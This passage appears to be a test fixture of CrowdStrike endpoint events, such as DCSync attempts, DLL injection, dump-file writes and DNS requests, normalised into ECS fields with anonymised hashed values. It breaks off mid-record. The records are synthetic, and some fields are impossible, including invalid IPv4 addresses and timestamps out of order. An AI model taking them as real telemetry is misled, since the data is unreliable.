"event": { - "action": "BITSJobCreated", - "category": [ - "network", - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "eedef0c0fc042e28949c251e42e913cb3fe6|082e3fde13bab854ebe72df7d1543cae|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"615659447400000\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"3c1edad779c6920ba025d32fc1d69997cc40\",\"RpcClientProcessId\":\"4508060034060\",\"id\":\"eedef0c0fc042e28949c251e42e913cb3fe6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BITSJobCreated\",\"ContextTimeStamp\":\"1749668048.903\",\"UserName\":\"d38b4ca4\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"3100000500830\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"207001810400038\",\"AuthenticationId\":\"70760008\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RpcOpNum\":\"4\",\"Entitlements\":\"76\",\"name\":\"11cf958b636de07e\",\"aid\":\"082e3fde13bab854ebe72df7d1543cae\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\d38b4ca4\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\1e547bc1\\\\7c2816f5.crx3\"}", - "outcome": "success", - "type": [ - "connection", - "creation" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1", - "extension": "crx3", - "name": "7c2816f5.crx3", - "path": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3", - "type": "file" - }, - "host": { - "id": "082e3fde13bab854ebe72df7d1543cae", - "os": { - "type": "windows" - } - }, - "message": "BITSJobCreated", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "082e3fde13bab854ebe72df7d1543cae", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3100000500830", - "thread": { - "id": 615659447400000 - } - }, - "related": { - "hash": [ - "9968901000" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "d38b4ca4" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "d38b4ca4" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "50820000", - "ContextProcessId": "1107334096070", - "ContextTimeStamp": "2025-09-10T19:52:08.090Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "InjectedThreadFlag": "2", - "RawThreadId": "20602", - "SourceThreadStartAddress": "380906022020800", - "TargetThreadId": "104623560606010", - "ThreadStartAddress": "800560009080720", - "ThreadStartContext": "0", - "UserThread": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f6f3399ea7912626def5330fbc430ff02ac2", - "name": "126bc261e48aa7159043700" - }, - "device": { - "id": "1b044c25005f7f866e92ee245376c69e" - }, - "event": { - "action": "BrowserInjectedThread", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f6f3399ea7912626def5330fbc430ff02ac2|1b044c25005f7f866e92ee245376c69e|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ThreadStartAddress\":\"800560009080720\",\"InjectedThreadFlag\":\"2\",\"ContextThreadId\":\"500030143990970\",\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"f6f3399ea7912626def5330fbc430ff02ac2\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BrowserInjectedThread\",\"TargetThreadId\":\"104623560606010\",\"RawProcessId\":\"76850\",\"ContextTimeStamp\":\"1757533928.090\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"1107334096070\",\"ThreadStartContext\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"7011710205985\",\"Entitlements\":\"76\",\"name\":\"126bc261e48aa7159043700\",\"RawThreadId\":\"20602\",\"aid\":\"1b044c25005f7f866e92ee245376c69e\",\"SourceThreadStartAddress\":\"380906022020800\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "access", - "change" - ] - }, - "host": { - "id": "1b044c25005f7f866e92ee245376c69e", - "os": { - "type": "windows" - } - }, - "message": "BrowserInjectedThread", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "1b044c25005f7f866e92ee245376c69e", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "7011710205985", - "pid": 76850, - "thread": { - "id": 500030143990970 - } - }, - "related": { - "hash": [ - "50820000" - ], - "ip": [ - "89.160.20.128" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ApplicationName": "7371f07", - "CommandCount": 3, - "CommandCountMax": 983, - "CommandHistory": "41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa", - "ConfigStateHash": "7040662006", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "FirstCommand": "0", - "LastAdded": "2", - "LastDisplayed": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "7f67dc98da59af9b207392dd643b6696521d", - "name": "b42a7420dfe70b77" - }, - "device": { - "id": "985fa1e64b797b6a5e673a83fdc68828" - }, - "event": { - "action": "CommandHistory", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "7f67dc98da59af9b207392dd643b6696521d|985fa1e64b797b6a5e673a83fdc68828|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"CommandHistory\",\"CommandHistory\":\"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa\",\"FirstCommand\":\"0\",\"CommandCountMax\":\"983\",\"ApplicationName\":\"7371f07\",\"ConfigStateHash\":\"7040662006\",\"LastDisplayed\":\"0\",\"aip\":\"81.2.69.192\",\"LastAdded\":\"2\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3502200260267\",\"Entitlements\":\"96\",\"name\":\"b42a7420dfe70b77\",\"EventOrigin\":\"1\",\"id\":\"7f67dc98da59af9b207392dd643b6696521d\",\"CommandCount\":\"3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"985fa1e64b797b6a5e673a83fdc68828\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "end", - "info" - ] - }, - "host": { - "id": "985fa1e64b797b6a5e673a83fdc68828", - "os": { - "type": "windows" - } - }, - "message": "CommandHistory", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "985fa1e64b797b6a5e673a83fdc68828", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "3502200260267" - }, - "related": { - "hash": [ - "7040662006" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "6420000067", - "ConfigStateHash": "3400520000", - "ContextProcessId": "7067360709400", - "ContextTimeStamp": "2025-06-08T15:55:12.834Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "46", - "EventOrigin": "45", - "ObjectNameEtw": "4355e623406251da1e189448d464d6e80e14d22", - "ObjectTypeEtw": "4355e623406251da1e189448d464d6e80e14d22", - "ServiceAccessPropertiesEtw": "f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9", - "SubjectDomainNameEtw": "61", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "027ea26f253aa77e2fcf588772b9d2d6f37c", - "name": "68a40a05895ff9a35" - }, - "destination": { - "address": "2a02:cf40::2", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::2" - }, - "device": { - "id": "350ffb0329569649f8bac872d658cbfc" - }, - "event": { - "action": "DCSyncAttempted", - "category": [ - "configuration", - "iam" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "027ea26f253aa77e2fcf588772b9d2d6f37c|350ffb0329569649f8bac872d658cbfc|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ObjectNameEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"aip\":\"81.2.69.144\",\"UserSid\":\"S-25368-38230-13235\",\"event_platform\":\"Win\",\"ObjectTypeEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"ClientComputerName\":\"-\",\"EventOrigin\":\"45\",\"id\":\"027ea26f253aa77e2fcf588772b9d2d6f37c\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DCSyncAttempted\",\"ContextTimeStamp\":\"1749398112.834\",\"UserName\":\"1611e7b\",\"ConfigStateHash\":\"3400520000\",\"EtwRawProcessId\":\"835\",\"ContextProcessId\":\"7067360709400\",\"SubjectDomainNameEtw\":\"61\",\"AuthenticationId\":\"6420000067\",\"ServiceAccessPropertiesEtw\":\"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Entitlements\":\"46\",\"name\":\"68a40a05895ff9a35\",\"aid\":\"350ffb0329569649f8bac872d658cbfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "access" - ] - }, - "host": { - "id": "350ffb0329569649f8bac872d658cbfc", - "os": { - "type": "windows" - } - }, - "message": "DCSyncAttempted", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "350ffb0329569649f8bac872d658cbfc", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "7067360709400", - "pid": 835 - }, - "related": { - "hash": [ - "3400520000" - ], - "ip": [ - "81.2.69.144", - "2a02:cf40::2" - ], - "user": [ - "1611e7b", - "S-25368-38230-13235" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-25368-38230-13235", - "name": "1611e7b" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AllowlistingFilterId": "a3ea8710853f4e1e7", - "BoundingLimitCount": 1, - "BoundingLimitDuration": "3486640", - "ConfigStateHash": "4080600092", - "ContextTimeStamp": "2025-09-16T11:58:18.952Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventCorrelationId": "07103f94d0545ee24951b8c8ce76a5023743", - "EventOrigin": "5", - "ExclusionSource": "5", - "ExclusionType": "1", - "PatternId": "607", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "01a0844d7700635d462669bbadb475d7dcf1", - "name": "b7f0eea0ced34df529cc" - }, - "device": { - "id": "016ef640d4add7c7c7e72a5bfc4198c0" - }, - "event": { - "action": "DetectionExcluded", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "01a0844d7700635d462669bbadb475d7dcf1|016ef640d4add7c7c7e72a5bfc4198c0|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"1\",\"UserSid\":\"S-86813-72426-80065-35729-11846-72517-75085\",\"AllowlistingFilterId\":\"a3ea8710853f4e1e7\",\"event_platform\":\"Win\",\"PatternId\":\"607\",\"EventOrigin\":\"5\",\"ContextData\":\"\",\"id\":\"01a0844d7700635d462669bbadb475d7dcf1\",\"EventCorrelationId\":\"07103f94d0545ee24951b8c8ce76a5023743\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DetectionExcluded\",\"ContextTimeStamp\":\"1758023898.952\",\"ConfigStateHash\":\"4080600092\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"82\\\\ab7e5c1\\\\d24e5507\\\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"TargetProcessId\":\"6010945098000\",\"BoundingLimitDuration\":\"3486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\d24e5507\\\\7d7f62b.exe\",\"ExclusionType\":\"1\",\"Entitlements\":\"56\",\"name\":\"b7f0eea0ced34df529cc\",\"ExclusionSource\":\"5\",\"aid\":\"016ef640d4add7c7c7e72a5bfc4198c0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change", - "info" - ] - }, - "host": { - "id": "016ef640d4add7c7c7e72a5bfc4198c0", - "os": { - "type": "windows" - } - }, - "message": "DetectionExcluded", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "016ef640d4add7c7c7e72a5bfc4198c0", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "82\\ab7e5c1\\d24e5507\\12ab4d0.exe", - "/Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}" - ], - "args_count": 2, - "command_line": "82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", - "entity_id": "6010945098000", - "executable": "\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe", - "name": "7d7f62b.exe" - }, - "related": { - "hash": [ - "4080600092" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "S-86813-72426-80065-35729-11846-72517-75085" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-86813-72426-80065-35729-11846-72517-75085" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ContextProcessId": "7173090406564", - "ContextTimeStamp": "2025-10-03T02:41:24.824Z", - "DesiredAccess": "5065411", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileAttributes": "274", - "FileEcpBitmask": "0", - "FileObject": "0", - "HandleCreateAuthenticationId": "4000900", - "Information": "2", - "IrpFlags": "2500", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "53790000", - "ShareAccess": "3", - "Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "245b89777adfd68f4020de1758e56c4467f6", - "name": "b44ad77e88405a082" - }, - "device": { - "id": "cd2ef6603266196efe9f1ac402a1586a" - }, - "event": { - "action": "DirectoryCreate", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "245b89777adfd68f4020de1758e56c4467f6|cd2ef6603266196efe9f1ac402a1586a|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"Options\":\"53790000\",\"ContextThreadId\":\"32005063951800\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"28476710775acf368038686c22c97be5f159b0efaeb459a6\",\"Information\":\"2\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"245b89777adfd68f4020de1758e56c4467f6\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"274\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1759459284.824\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"7173090406564\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"4000900\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5065411\",\"Entitlements\":\"66\",\"name\":\"b44ad77e88405a082\",\"OperationFlags\":\"0\",\"aid\":\"cd2ef6603266196efe9f1ac402a1586a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\7392ca2\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\43ae32\\\\664edf91\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32", - "inode": "28476710775acf368038686c22c97be5f159b0efaeb459a6", - "name": "664edf91", - "path": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91", - "type": "dir" - }, - "host": { - "id": "cd2ef6603266196efe9f1ac402a1586a", - "os": { - "type": "windows" - } - }, - "message": "DirectoryCreate", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "cd2ef6603266196efe9f1ac402a1586a", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "7173090406564", - "thread": { - "id": 32005063951800 - } - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "540271348", - "ContextProcessId": "3006607000981", - "ContextTimeStamp": "2025-09-18T01:35:28.572Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "InjectedDll": "82\\9134161b\\f3acb4df\\a89bcae.dll", - "InjectedThreadFlag": "530", - "RawThreadId": "5008", - "TargetThreadId": "505479000700240", - "ThreadStartAddress": "947500501770690", - "ThreadStartContext": "9177300087920", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "92855d0df8f2251c1dfe0bd7d56a97128a25", - "name": "8b6eec62b5f5f7" - }, - "device": { - "id": "8fb3daf730de8e73c353f0c4137a51b5" - }, - "event": { - "action": "DllInjection", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "92855d0df8f2251c1dfe0bd7d56a97128a25|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"DllInjection\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"530\",\"ContextTimeStamp\":\"1758159328.572\",\"ConfigStateHash\":\"540271348\",\"ContextProcessId\":\"3006607000981\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"ThreadStartContext\":\"9177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"96\",\"name\":\"8b6eec62b5f5f7\",\"EventOrigin\":\"1\",\"RawThreadId\":\"5008\",\"id\":\"92855d0df8f2251c1dfe0bd7d56a97128a25\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"InjectedDll\":\"82\\\\9134161b\\\\f3acb4df\\\\a89bcae.dll\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "8fb3daf730de8e73c353f0c4137a51b5", - "os": { - "type": "windows" - } - }, - "message": "DllInjection", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "8fb3daf730de8e73c353f0c4137a51b5", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3000303437040", - "pid": 7310, - "thread": { - "id": 140004900194068 - } - }, - "related": { - "hash": [ - "540271348" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "864", - "ConfigStateHash": "450007109", - "ContextBaseFileName": "77b1704b6a85", - "ContextProcessId": "60860076031000", - "ContextTimeStamp": "2025-05-09T15:22:18.874Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "FileCategory": "9", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-13859-13680-73630", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b44b58becebd48898306ffd6600bf3f42c16", - "name": "bf62ca8a93b1c6730" - }, - "device": { - "id": "61f77498beebf89847bcda33f8541689" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "b44b58becebd48898306ffd6600bf3f42c16|61f77498beebf89847bcda33f8541689|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-13859-13680-73630\",\"ContextBaseFileName\":\"77b1704b6a85\",\"FileCategory\":\"9\",\"Size\":\"50050070\",\"ContextThreadId\":\"600003001070039\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\c23eadb9\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DmpFileWritten\",\"ContextTimeStamp\":\"1746804138.874\",\"ConfigStateHash\":\"450007109\",\"ContextProcessId\":\"60860076031000\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"864\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"16\",\"name\":\"bf62ca8a93b1c6730\",\"OperationFlags\":\"0\",\"aid\":\"61f77498beebf89847bcda33f8541689\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\6666d9f1\\\\d140261e\\\\0f51ad6\\\\8c31e\\\\036b01a3\\\\50f6b654.dmp\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\b9e65ff8\\c23eadb9", - "directory": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3", - "extension": "dmp", - "inode": "c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae", - "name": "50f6b654.dmp", - "path": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp", - "size": 50050070, - "type": "file" - }, - "host": { - "id": "61f77498beebf89847bcda33f8541689", - "os": { - "type": "windows" - } - }, - "message": "DmpFileWritten", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "61f77498beebf89847bcda33f8541689", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "60860076031000", - "name": "77b1704b6a85", - "thread": { - "id": 600003001070039 - } - }, - "related": { - "hash": [ - "450007109" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "S-13859-13680-73630" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-13859-13680-73630" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "CNAMERecords": "0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823", - "ConfigStateHash": "1263130834", - "ContextBaseFileName": "c43bc2658", - "ContextProcessId": "5002051210496", - "ContextTimeStamp": "2025-06-01T02:27:02.996Z", - "DnsRequestCount": 1, - "DnsResponseType": "2", - "DualRequest": "1", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventOrigin": "1", - "FirstIP4Record": "216.160.83.56", - "IP4Records": "14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;", - "InterfaceIndex": 0, - "QueryStatus": "0", - "RespondingDnsServer": "89.160.20.112", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5", - "name": "76e889534419" - }, - "device": { - "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7" - }, - "dns": { - "question": { - "name": "2ca55df2a79d27d771dacfc7ae97", - "type": "CDS" - }, - "type": "query" - }, - "event": { - "action": "DnsRequest", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5|98148f3ab8db6d0cad5ad44fc9f4f5c7|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"c43bc2658\",\"DnsResponseType\":\"2\",\"IP4Records\":\"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;\",\"ContextThreadId\":\"908409701000008\",\"aip\":\"81.2.69.142\",\"CNAMERecords\":\"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823\",\"QueryStatus\":\"0\",\"InterfaceIndex\":\"0\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"EventOrigin\":\"1\",\"id\":\"77a6567f5ba2f4450eb816e24c5b0258f4b5\",\"EffectiveTransmissionClass\":\"3\",\"FirstIP4Record\":\"216.160.83.56\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1748744822.996\",\"ConfigStateHash\":\"1263130834\",\"ContextProcessId\":\"5002051210496\",\"DomainName\":\"2ca55df2a79d27d771dacfc7ae97\",\"RespondingDnsServer\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DnsRequestCount\":\"1\",\"Entitlements\":\"56\",\"name\":\"76e889534419\",\"aid\":\"98148f3ab8db6d0cad5ad44fc9f4f5c7\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}", - "outcome": "success", - "type": [ - "protocol" - ] - }, - "host": { - "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7", - "os": { - "type": "windows" - } - }, - "message": "DnsRequest", - "network": { - "protocol": "dns" - }, - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "98148f3ab8db6d0cad5ad44fc9f4f5c7", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "5002051210496", - "name": "c43bc2658", - "thread": { - "id": 908409701000008 - } - }, - "related": { - "hash": [ - "1263130834" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": 